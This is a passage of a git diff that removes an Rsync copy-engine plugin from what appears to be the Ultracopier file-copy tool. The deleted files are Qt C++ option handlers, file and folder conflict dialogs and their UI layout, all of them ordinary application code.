- optionsEngine->setOptionValue("rsync",rsync);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::newLanguageLoaded()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, retranslate the widget options");
- ui->retranslateUi(tempWidget);
- if(optionsEngine!=NULL)
- {
- filters->newLanguageLoaded();
- renamingRules->newLanguageLoaded();
- }
- emit reloadLanguage();
-}
-
-Q_EXPORT_PLUGIN2(copyEngine, Factory);
-
-void Factory::doChecksum_toggled(bool doChecksum)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("doChecksum",doChecksum);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::checksumOnlyOnError_toggled(bool checksumOnlyOnError)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("checksumOnlyOnError",checksumOnlyOnError);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::osBuffer_toggled(bool osBuffer)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("osBuffer",osBuffer);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-void Factory::osBufferLimited_toggled(bool osBufferLimited)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("osBufferLimited",osBufferLimited);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-void Factory::osBufferLimit_editingFinished()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the spinbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("osBufferLimit",ui->osBufferLimit->value());
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::showFilterDialog()
-{
- if(optionsEngine==NULL)
- {
- QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded, can't access to the filters"));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"options not loaded");
- return;
- }
- filters->exec();
-}
-
-void Factory::sendNewFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"new filter");
- if(optionsEngine!=NULL)
- {
- optionsEngine->setOptionValue("includeStrings",includeStrings);
- optionsEngine->setOptionValue("includeOptions",includeOptions);
- optionsEngine->setOptionValue("excludeStrings",excludeStrings);
- optionsEngine->setOptionValue("excludeOptions",excludeOptions);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"new filter");
- if(optionsEngine!=NULL)
- {
- optionsEngine->setOptionValue("firstRenamingRule",firstRenamingRule);
- optionsEngine->setOptionValue("otherRenamingRule",otherRenamingRule);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::showRenamingRules()
-{
- if(optionsEngine==NULL)
- {
- QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded, can't access to the filters"));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"options not loaded");
- return;
- }
- renamingRules->exec();
-}
-
-void Factory::checksumIgnoreIfImpossible_toggled(bool checksumIgnoreIfImpossible)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("checksumIgnoreIfImpossible",checksumIgnoreIfImpossible);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/factory.h b/plugins-alternative/CopyEngine/Rsync/factory.h
deleted file mode 100644
index 40c6d53..0000000
--- a/plugins-alternative/CopyEngine/Rsync/factory.h
+++ /dev/null
@@ -1,96 +0,0 @@
-/** \file factory.h
-\brief Define the factory to create new instance
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QObject>
-#include <QList>
-#include <QStringList>
-#include <QFileInfo>
-#include <QProcess>
-
-#include "../../../interface/PluginInterface_CopyEngine.h"
-#include "StructEnumDefinition.h"
-#include "ui_options.h"
-#include "copyEngine.h"
-#include "Environment.h"
-#include "Filters.h"
-#include "RenamingRules.h"
-
-#ifndef FACTORY_H
-#define FACTORY_H
-
-namespace Ui {
- class options;
-}
-
-/** \brief to generate copy engine instance */
-class Factory : public PluginInterface_CopyEngineFactory
-{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_CopyEngineFactory)
-public:
- Factory();
- ~Factory();
- /// \brief to return the instance of the copy engine
- PluginInterface_CopyEngine * getInstance();
- /// \brief set the resources, to store options, to have facilityInterface
- void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion);
- //get mode allowed
- /// \brief define if can copy file, folder or both
- CopyType getCopyType();
- /// \brief to return which kind of transfer list operation is supported
- TransferListOperation getTransferListOperation();
- /// \brief define if can only copy, or copy and move
- bool canDoOnlyCopy();
- /// \brief to get the supported protocols for the source
- QStringList supportedProtocolsForTheSource();
- /// \brief to get the supported protocols for the destination
- QStringList supportedProtocolsForTheDestination();
- /// \brief to get the options of the copy engine
- QWidget * options();
-private:
- Ui::options *ui;
- QWidget* tempWidget;
- OptionInterface * optionsEngine;
- QStringList mountSysPoint;
- QProcess mount;
- QString StandardError;
- QString StandardOutput;
- bool errorFound;
- FacilityInterface * facilityEngine;
- Filters *filters;
- RenamingRules *renamingRules;
-private slots:
- void error(QProcess::ProcessError error);
- void finished(int exitCode, QProcess::ExitStatus exitStatus);
- void readyReadStandardError();
- void readyReadStandardOutput();
- void setDoRightTransfer(bool doRightTransfer);
- void setKeepDate(bool keepDate);
- void setBlockSize(int blockSize);
- void setAutoStart(bool autoStart);
- void setRsync(bool rsync);
- void showFilterDialog();
- void sendNewFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
- void doChecksum_toggled(bool);
- void checksumOnlyOnError_toggled(bool);
- void osBuffer_toggled(bool);
- void osBufferLimited_toggled(bool);
- void osBufferLimit_editingFinished();
- void checksumIgnoreIfImpossible_toggled(bool);
- void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- void showRenamingRules();
-public slots:
- void resetOptions();
- void newLanguageLoaded();
-signals:
- void reloadLanguage();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
-};
-
-#endif // FACTORY_H
diff --git a/plugins-alternative/CopyEngine/Rsync/fileErrorDialog.cpp b/plugins-alternative/CopyEngine/Rsync/fileErrorDialog.cpp
deleted file mode 100644
index 0d9fa9a..0000000
--- a/plugins-alternative/CopyEngine/Rsync/fileErrorDialog.cpp
+++ /dev/null
@@ -1,95 +0,0 @@
-#include "fileErrorDialog.h"
-#include "ui_fileErrorDialog.h"
-
-fileErrorDialog::fileErrorDialog(QWidget *parent,QFileInfo fileInfo,QString errorString,bool havePutAtTheEndButton) :
- QDialog(parent),
- ui(new Ui::fileErrorDialog)
-{
- ui->setupUi(this);
- action=FileError_Cancel;
- ui->label_error->setText(errorString);
- ui->label_content_file_name->setText(fileInfo.fileName());
- if(fileInfo.exists())
- {
- ui->label_content_size->setText(QString::number(fileInfo.size()));
- QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
- if(maxTime<fileInfo.lastModified())
- {
- ui->label_modified->setVisible(true);
- ui->label_content_modified->setVisible(true);
- ui->label_content_modified->setText(fileInfo.lastModified().toString());
- }
- else
- {
- ui->label_modified->setVisible(false);
- ui->label_content_modified->setVisible(false);
- }
- if(fileInfo.isDir())
- {
- this->setWindowTitle(tr("Error on folder"));
- ui->label_size->hide();
- ui->label_content_size->hide();
- ui->label_file_name->setText(tr("Folder name"));
- }
- }
- else
- {
- ui->label_size->hide();
- ui->label_content_size->hide();
- ui->label_modified->hide();
- ui->label_content_modified->hide();
- }
- if(!havePutAtTheEndButton)
- ui->PutToBottom->hide();
-}
-
-fileErrorDialog::~fileErrorDialog()
-{
- delete ui;
-}
-
-void fileErrorDialog::changeEvent(QEvent *e)
-{
- QWidget::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ui->retranslateUi(this);
- break;
- default:
- break;
- }
-}
-
-void fileErrorDialog::on_PutToBottom_clicked()
-{
- action=FileError_PutToEndOfTheList;
- this->close();
-}
-
-void fileErrorDialog::on_Retry_clicked()
-{
- action=FileError_Retry;
- this->close();
-}
-
-void fileErrorDialog::on_Skip_clicked()
-{
- action=FileError_Skip;
- this->close();
-}
-
-void fileErrorDialog::on_Cancel_clicked()
-{
- action=FileError_Cancel;
- this->close();
-}
-
-bool fileErrorDialog::getAlways()
-{
- return ui->checkBoxAlways->isChecked();
-}
-
-FileErrorAction fileErrorDialog::getAction()
-{
- return action;
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/fileErrorDialog.h b/plugins-alternative/CopyEngine/Rsync/fileErrorDialog.h
deleted file mode 100644
index b14fe87..0000000
--- a/plugins-alternative/CopyEngine/Rsync/fileErrorDialog.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/** \file fileErrorDialog.h
-\brief Define the dialog error on the file
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QDialog>
-#include <QWidget>
-#include <QString>
-#include <QDateTime>
-#include <QFileInfo>
-#include "Environment.h"
-
-#ifndef FILEERRORDIALOG_H
-#define FILEERRORDIALOG_H
-
-namespace Ui {
- class fileErrorDialog;
-}
-
-/// \brief to show error dialog, and ask what do
-class fileErrorDialog : public QDialog
-{
- Q_OBJECT
-public:
- /// \brief create the object and pass all the informations to it
- explicit fileErrorDialog(QWidget *parent,QFileInfo fileInfo,QString errorString,bool havePutAtTheEndButton=true);
- ~fileErrorDialog();
- /// \brief return the the always checkbox is checked
- bool getAlways();
- /// \brief return the action clicked
- FileErrorAction getAction();
-protected:
- void changeEvent(QEvent *e);
-private slots:
- void on_PutToBottom_clicked();
- void on_Retry_clicked();
- void on_Skip_clicked();
- void on_Cancel_clicked();
-private:
- Ui::fileErrorDialog *ui;
- FileErrorAction action;
-};
-
-#endif // FILEERRORDIALOG_H
diff --git a/plugins-alternative/CopyEngine/Rsync/fileExistsDialog.cpp b/plugins-alternative/CopyEngine/Rsync/fileExistsDialog.cpp
deleted file mode 100644
index 191dd79..0000000
--- a/plugins-alternative/CopyEngine/Rsync/fileExistsDialog.cpp
+++ /dev/null
@@ -1,189 +0,0 @@
-#include "fileExistsDialog.h"
-#include "ui_fileExistsDialog.h"
-
-#include <QDebug>
-
-fileExistsDialog::fileExistsDialog(QWidget *parent,QFileInfo source,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule) :
- QDialog(parent),
- ui(new Ui::fileExistsDialog)
-{
- ui->setupUi(this);
- action=FileExists_Cancel;
- destinationInfo=destination;
- oldName=destination.fileName();
- ui->lineEditNewName->setText(oldName);
- ui->lineEditNewName->setPlaceholderText(oldName);
- ui->Overwrite->addAction(ui->actionOverwrite_if_newer);
- ui->Overwrite->addAction(ui->actionOverwrite_if_not_same_modification_date);
- ui->label_content_source_size->setText(QString::number(source.size()));
- ui->label_content_source_modified->setText(source.lastModified().toString());
- ui->label_content_source_file_name->setText(source.fileName());
- ui->label_content_destination_size->setText(QString::number(destination.size()));
- ui->label_content_destination_modified->setText(destination.lastModified().toString());
- ui->label_content_destination_file_name->setText(destination.fileName());
- QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
- if(maxTime<source.lastModified())
- {
- ui->label_source_modified->setVisible(true);
- ui->label_content_source_modified->setVisible(true);
- ui->label_content_source_modified->setText(source.lastModified().toString());
- }
- else
- {
- ui->label_source_modified->setVisible(false);
- ui->label_content_source_modified->setVisible(false);
- }
- if(maxTime<destination.lastModified())
- {
- ui->label_destination_modified->setVisible(true);
- ui->label_content_destination_modified->setVisible(true);
- ui->label_content_destination_modified->setText(destination.lastModified().toString());
- }
- else
- {
- ui->label_destination_modified->setVisible(false);
- ui->label_content_destination_modified->setVisible(false);
- }
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
-
-fileExistsDialog::~fileExistsDialog()
-{
- delete ui;
-}
-
-void fileExistsDialog::changeEvent(QEvent *e)
-{
- QWidget::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ui->retranslateUi(this);
- break;
- default:
- break;
- }
-}
-
-QString fileExistsDialog::getNewName()
-{
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- qDebug() << "return the old name: "+oldName;
- else
- qDebug() << "return the new name: "+ui->lineEditNewName->text();
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- return oldName;
- else
- return ui->lineEditNewName->text();
-}
-
-void fileExistsDialog::on_SuggestNewName_clicked()
-{
- QFileInfo destinationInfo=this->destinationInfo;
- QString absolutePath=destinationInfo.absolutePath();
- QString fileName=destinationInfo.fileName();
- QString suffix="";
- QString destination;
- QString newFileName;
- //resolv the suffix
- if(fileName.contains(QRegExp("^(.*)(\\.[a-z0-9]+)$")))
- {
- suffix=fileName;
- suffix.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\2");
- fileName.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\1");
- }
- //resolv the new name
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- newFileName=tr("%1 - copy").arg(fileName);
- else
- {
- newFileName=firstRenamingRule;
- newFileName.replace("%name%",fileName);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
- else
- {
- newFileName=otherRenamingRule;
- newFileName.replace("%name%",fileName);
- newFileName.replace("%number%",QString::number(num));
- }
- }
- destination=absolutePath+QDir::separator()+newFileName+suffix;
- destinationInfo.setFile(destination);
- num++;
- }
- while(destinationInfo.exists());
- ui->lineEditNewName->setText(newFileName+suffix);
-}
-
-void fileExistsDialog::on_Rename_clicked()
-{
- action=FileExists_Rename;
- this->close();
-}
-
-void fileExistsDialog::on_Overwrite_clicked()
-{
- action=FileExists_Overwrite;
- this->close();
-}
-
-void fileExistsDialog::on_Skip_clicked()
-{
- action=FileExists_Skip;
- this->close();
-}
-
-void fileExistsDialog::on_Cancel_clicked()
-{
- action=FileExists_Cancel;
- this->close();
-}
-
-void fileExistsDialog::on_actionOverwrite_if_newer_triggered()
-{
- action=FileExists_OverwriteIfNewer;
- this->close();
-}
-
-void fileExistsDialog::on_actionOverwrite_if_not_same_modification_date_triggered()
-{
- action=FileExists_OverwriteIfNotSameModificationDate;
- this->close();
-}
-
-FileExistsAction fileExistsDialog::getAction()
-{
- return action;
-}
-
-bool fileExistsDialog::getAlways()
-{
- return ui->checkBoxAlways->isChecked();
-}
-
-void fileExistsDialog::updateRenameButton()
-{
- ui->Rename->setEnabled(ui->checkBoxAlways->isChecked() || (oldName!=ui->lineEditNewName->text() && !ui->lineEditNewName->text().isEmpty()));
-}
-
-void fileExistsDialog::on_checkBoxAlways_toggled(bool checked)
-{
- Q_UNUSED(checked);
- updateRenameButton();
-}
-
-void fileExistsDialog::on_lineEditNewName_textChanged(const QString &arg1)
-{
- Q_UNUSED(arg1);
- updateRenameButton();
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/fileExistsDialog.h b/plugins-alternative/CopyEngine/Rsync/fileExistsDialog.h
deleted file mode 100644
index 75af190..0000000
--- a/plugins-alternative/CopyEngine/Rsync/fileExistsDialog.h
+++ /dev/null
@@ -1,58 +0,0 @@
-/** \file fileExistsDialog.h
-\brief Define the dialog when file already exists
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QDialog>
-#include <QWidget>
-#include <QString>
-#include <QDateTime>
-#include <QFileInfo>
-#include <QDir>
-#include "Environment.h"
-
-#ifndef FILEEXISTSDIALOG_H
-#define FILEEXISTSDIALOG_H
-
-namespace Ui {
- class fileExistsDialog;
-}
-
-/// \brief to show file exists dialog, and ask what do
-class fileExistsDialog : public QDialog
-{
- Q_OBJECT
-public:
- /// \brief create the object and pass all the informations to it
- explicit fileExistsDialog(QWidget *parent,QFileInfo source,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule);
- ~fileExistsDialog();
- /// \brief return the the always checkbox is checked
- bool getAlways();
- /// \brief return the action clicked
- FileExistsAction getAction();
- /// \brief return the new rename is case in manual renaming
- QString getNewName();
-protected:
- void changeEvent(QEvent *e);
-private slots:
- void on_SuggestNewName_clicked();
- void on_Rename_clicked();
- void on_Overwrite_clicked();
- void on_Skip_clicked();
- void on_Cancel_clicked();
- void on_actionOverwrite_if_newer_triggered();
- void on_actionOverwrite_if_not_same_modification_date_triggered();
- void updateRenameButton();
- void on_checkBoxAlways_toggled(bool checked);
- void on_lineEditNewName_textChanged(const QString &arg1);
-private:
- Ui::fileExistsDialog *ui;
- FileExistsAction action;
- QString oldName;
- QFileInfo destinationInfo;
- QString firstRenamingRule;
- QString otherRenamingRule;
-};
-
-#endif // FILEEXISTSDIALOG_H
diff --git a/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.cpp b/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.cpp
deleted file mode 100644
index f45b2ea..0000000
--- a/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.cpp
+++ /dev/null
@@ -1,156 +0,0 @@
-#include "fileIsSameDialog.h"
-#include "ui_fileIsSameDialog.h"
-
-#include <QDebug>
-
-fileIsSameDialog::fileIsSameDialog(QWidget *parent,QFileInfo fileInfo,QString firstRenamingRule,QString otherRenamingRule) :
- QDialog(parent),
- ui(new Ui::fileIsSameDialog)
-{
- ui->setupUi(this);
- action=FileExists_Cancel;
- oldName=fileInfo.fileName();
- destinationInfo=fileInfo;
- ui->lineEditNewName->setText(oldName);
- ui->lineEditNewName->setPlaceholderText(oldName);
- ui->label_content_size->setText(QString::number(fileInfo.size()));
- ui->label_content_modified->setText(fileInfo.lastModified().toString());
- ui->label_content_file_name->setText(fileInfo.fileName());
- updateRenameButton();
- QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
- if(maxTime<fileInfo.lastModified())
- {
- ui->label_modified->setVisible(true);
- ui->label_content_modified->setVisible(true);
- ui->label_content_modified->setText(fileInfo.lastModified().toString());
- }
- else
- {
- ui->label_modified->setVisible(false);
- ui->label_content_modified->setVisible(false);
- }
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
-
-fileIsSameDialog::~fileIsSameDialog()
-{
- delete ui;
-}
-
-void fileIsSameDialog::changeEvent(QEvent *e)
-{
- QWidget::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ui->retranslateUi(this);
- break;
- default:
- break;
- }
-}
-
-QString fileIsSameDialog::getNewName()
-{
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- qDebug() << "fileIsSameDialog, return the old name: "+oldName;
- else
- qDebug() << "fileIsSameDialog, return the new name: "+ui->lineEditNewName->text();
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- return oldName;
- else
- return ui->lineEditNewName->text();
-}
-
-void fileIsSameDialog::on_SuggestNewName_clicked()
-{
- QFileInfo destinationInfo=this->destinationInfo;
- QString absolutePath=destinationInfo.absolutePath();
- QString fileName=destinationInfo.fileName();
- QString suffix="";
- QString destination;
- QString newFileName;
- //resolv the suffix
- if(fileName.contains(QRegExp("^(.*)(\\.[a-z0-9]+)$")))
- {
- suffix=fileName;
- suffix.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\2");
- fileName.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\1");
- }
- //resolv the new name
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- newFileName=tr("%1 - copy").arg(fileName);
- else
- {
- newFileName=firstRenamingRule;
- newFileName.replace("%name%",fileName);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
- else
- {
- newFileName=otherRenamingRule;
- newFileName.replace("%name%",fileName);
- newFileName.replace("%number%",QString::number(num));
- }
- }
- destination=absolutePath+QDir::separator()+newFileName+suffix;
- destinationInfo.setFile(destination);
- num++;
- }
- while(destinationInfo.exists());
- ui->lineEditNewName->setText(newFileName+suffix);
-}
-
-void fileIsSameDialog::on_Rename_clicked()
-{
- action=FileExists_Rename;
- this->close();
-}
-
-void fileIsSameDialog::on_Skip_clicked()
-{
- action=FileExists_Skip;
- this->close();
-}
-
-void fileIsSameDialog::on_Cancel_clicked()
-{
- action=FileExists_Cancel;
- this->close();
-}
-
-FileExistsAction fileIsSameDialog::getAction()
-{
- return action;
-}
-
-bool fileIsSameDialog::getAlways()
-{
- return ui->checkBoxAlways->isChecked();
-}
-
-void fileIsSameDialog::updateRenameButton()
-{
- ui->Rename->setEnabled(ui->checkBoxAlways->isChecked() || (oldName!=ui->lineEditNewName->text() && !ui->lineEditNewName->text().isEmpty()));
-}
-
-void fileIsSameDialog::on_lineEditNewName_textChanged(const QString &arg1)
-{
- Q_UNUSED(arg1);
- updateRenameButton();
-}
-
-void fileIsSameDialog::on_checkBoxAlways_toggled(bool checked)
-{
- Q_UNUSED(checked);
- updateRenameButton();
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.h b/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.h
deleted file mode 100644
index fa48755..0000000
--- a/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.h
+++ /dev/null
@@ -1,56 +0,0 @@
-/** \file fileIsSameDialog.h
-\brief Define the dialog when file is same
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QDialog>
-#include <QWidget>
-#include <QString>
-#include <QDateTime>
-#include <QFileInfo>
-#include <QDir>
-#include "Environment.h"
-
-#ifndef FILEISSAMEDIALOG_H
-#define FILEISSAMEDIALOG_H
-
-namespace Ui {
- class fileIsSameDialog;
-}
-
-/// \brief to show file is same dialog, and ask what do
-class fileIsSameDialog : public QDialog
-{
- Q_OBJECT
-public:
- /// \brief create the object and pass all the informations to it
- explicit fileIsSameDialog(QWidget *parent,QFileInfo fileInfo,QString firstRenamingRule,QString otherRenamingRule);
- ~fileIsSameDialog();
- /// \brief return the the always checkbox is checked
- bool getAlways();
- /// \brief return the action clicked
- FileExistsAction getAction();
- /// \brief return the new rename is case in manual renaming
- QString getNewName();
-protected:
- void changeEvent(QEvent *e);
-private slots:
- void on_SuggestNewName_clicked();
- void on_Rename_clicked();
- void on_Skip_clicked();
- void on_Cancel_clicked();
- void updateRenameButton();
- void on_lineEditNewName_textChanged(const QString &arg1);
- void on_checkBoxAlways_toggled(bool checked);
-private:
- Ui::fileIsSameDialog *ui;
- FileExistsAction action;
- QString oldName;
- QFileInfo destinationInfo;
- QString firstRenamingRule;
- QString otherRenamingRule;
-
-};
-
-#endif // FILEISSAMEDIALOG_H
diff --git a/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.ui b/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.ui
deleted file mode 100644
index 673ba26..0000000
--- a/plugins-alternative/CopyEngine/Rsync/fileIsSameDialog.ui
+++ /dev/null
@@ -1,192 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>fileIsSameDialog</class>
- <widget class="QWidget" name="fileIsSameDialog">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>378</width>
- <height>148</height>
- </rect>
- </property>
- <property name="windowTitle">
- <string>This files are the same file</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout">
- <item>
- <widget class="QLabel" name="label">
- <property name="text">
- <string>The source and destination is same</string>
- </property>
- </widget>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout">
- <item>
- <spacer name="horizontalSpacer_3">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QFormLayout" name="formLayout_2">
- <item row="0" column="0">
- <widget class="QLabel" name="label_size">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Size</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QLabel" name="label_content_size">
- <property name="text">
- <string notr="true">0 KiB</string>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_modified">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Modified</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QLabel" name="label_content_modified">
- <property name="text">
- <string notr="true">Today</string>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_file_name">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>File name</string>
- </property>
- </widget>
- </item>
- <item row="2" column="1">
- <widget class="QLabel" name="label_content_file_name">
- <property name="text">
- <string notr="true">source.txt</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="horizontalSpacer_2">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>40</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_3">
- <item>
- <widget class="QLineEdit" name="lineEditNewName">
- <property name="text">
- <string notr="true"/>
- </property>
- <property name="placeholderText">
- <string notr="true"/>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="SuggestNewName">
- <property name="text">
- <string>Suggest new &amp;name</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_4">
- <item>
- <widget class="QCheckBox" name="checkBoxAlways">
- <property name="text">
- <string>&amp;Always do this action</string>
- </property>
- </widget>
- </item>
- <item>
- <spacer name="horizontalSpacer">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QPushButton" name="Rename">
- <property name="text">
- <string>&amp;Rename</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Skip">
- <property name="text">
- <string>&amp;Skip</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Cancel">
- <property name="text">
- <string>&amp;Cancel</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- </layout>
- </widget>
- <resources/>
- <connections/>
-</ui>
diff --git a/plugins-alternative/CopyEngine/Rsync/folderExistsDialog.cpp b/plugins-alternative/CopyEngine/Rsync/folderExistsDialog.cpp
deleted file mode 100644
index d951b90..0000000
--- a/plugins-alternative/CopyEngine/Rsync/folderExistsDialog.cpp
+++ /dev/null
@@ -1,143 +0,0 @@
-#include "folderExistsDialog.h"
-#include "ui_folderExistsDialog.h"
-
-#include <QMessageBox>
-
-folderExistsDialog::folderExistsDialog(QWidget *parent,QFileInfo source,bool isSame,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule) :
- QDialog(parent),
- ui(new Ui::folderExistsDialog)
-{
- ui->setupUi(this);
- action=FolderExists_Cancel;
- oldName=source.fileName();
- this->destinationInfo=destinationInfo;
- ui->lineEditNewName->setText(oldName);
- ui->lineEditNewName->setPlaceholderText(oldName);
- ui->label_content_source_modified->setText(source.lastModified().toString());
- ui->label_content_source_folder_name->setText(source.fileName());
- if(isSame)
- {
- ui->label_source->hide();
- ui->label_destination->hide();
- ui->label_destination_modified->hide();
- ui->label_destination_folder_name->hide();
- ui->label_content_destination_modified->hide();
- ui->label_content_destination_folder_name->hide();
- }
- else
- {
- this->setWindowTitle(tr("Folder already exists"));
- ui->label_message->hide();
- ui->label_content_destination_modified->setText(destination.lastModified().toString());
- ui->label_content_destination_folder_name->setText(destination.fileName());
- }
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
-
-folderExistsDialog::~folderExistsDialog()
-{
- delete ui;
-}
-
-void folderExistsDialog::changeEvent(QEvent *e)
-{
- QDialog::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ui->retranslateUi(this);
- break;
- default:
- break;
